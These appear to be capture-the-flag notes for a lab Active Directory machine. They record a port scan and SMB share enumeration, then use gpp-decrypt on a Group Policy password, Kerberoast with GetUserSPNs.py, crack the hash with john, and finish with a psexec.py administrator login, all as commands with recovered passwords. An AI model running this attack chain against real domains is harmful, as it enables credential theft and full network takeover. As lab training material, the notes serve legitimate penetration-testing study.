## **ENUM4LINUX**

# **SMBCLIENT**

# **GPP-DECRYPT (CREDS)**

#### **KERBEROAST GETUSERSPNS.PY**

## **PSEXEC.PY**

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-24 14:46:56Z) Microsoft Windows RPC 135/tcp open msrpc 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn\_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc 49157/tcp open ncacn\_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC enum4linux 10.10.10.100 Sharename Type Comment

NETLOGON Disk Logon server share

IPC

Disk Default share

Disk Remote Admin

Remote IPC

ADMIN\$

C\$

IPC\$

Replication Disk

SYSVOL Disk Logon server share

Users Disk

//10.10.10.100/Replication Mapping: OK, Listing: OK

smbclient -N -U "" //10.10.10.100/Replication

gpp-decrypt

edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

# **CREDS**

SVC TGS

GPPstillStandingStrong2k18

#### **KERBEROAST**

GetUserSPNs.py active.htb/SVC\_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

john kerberhash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Ticketmaster1968

psexec.py administrator:Ticketmaster1968@active.htb